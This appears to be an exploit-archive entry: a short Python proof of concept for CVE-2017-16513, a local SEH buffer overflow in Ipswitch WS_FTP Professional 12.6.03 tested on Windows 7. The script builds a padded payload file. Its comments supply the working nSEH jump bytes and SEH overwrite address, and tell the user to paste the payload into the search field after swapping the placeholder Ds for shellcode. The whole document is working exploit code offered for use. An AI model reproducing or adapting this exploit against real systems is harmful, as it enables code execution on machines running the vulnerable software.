Ipswitch WS_FTP Professional Local Buffer Overflow

`#!/usr/bin/python  
#Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH)  
#Author: Kevin McGuigan. Twitter: @_h3xagram  
#Author Website: https://www.7elements.co.uk  
#Vendor Website: https://www.ipswitch.com  
#Date: 03/11/2017  
#Version: 12.6.03  
#CVE: CVE-2017-16513  
#Tested on: Windows 7 32-bit  
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode.   
#nSEH = "\x74\x08\x90\x90"   
#SEH = "\x31\x2D\x91\x23"  
  
buffer = "A" * 840  
nSEH = "B" * 4  
SEH = "C" * 4  
  
  
f = open ("poc.txt", "w")  
f.write(buffer + nSEH + SEH + "D" * 200)  
f.close()  
  
`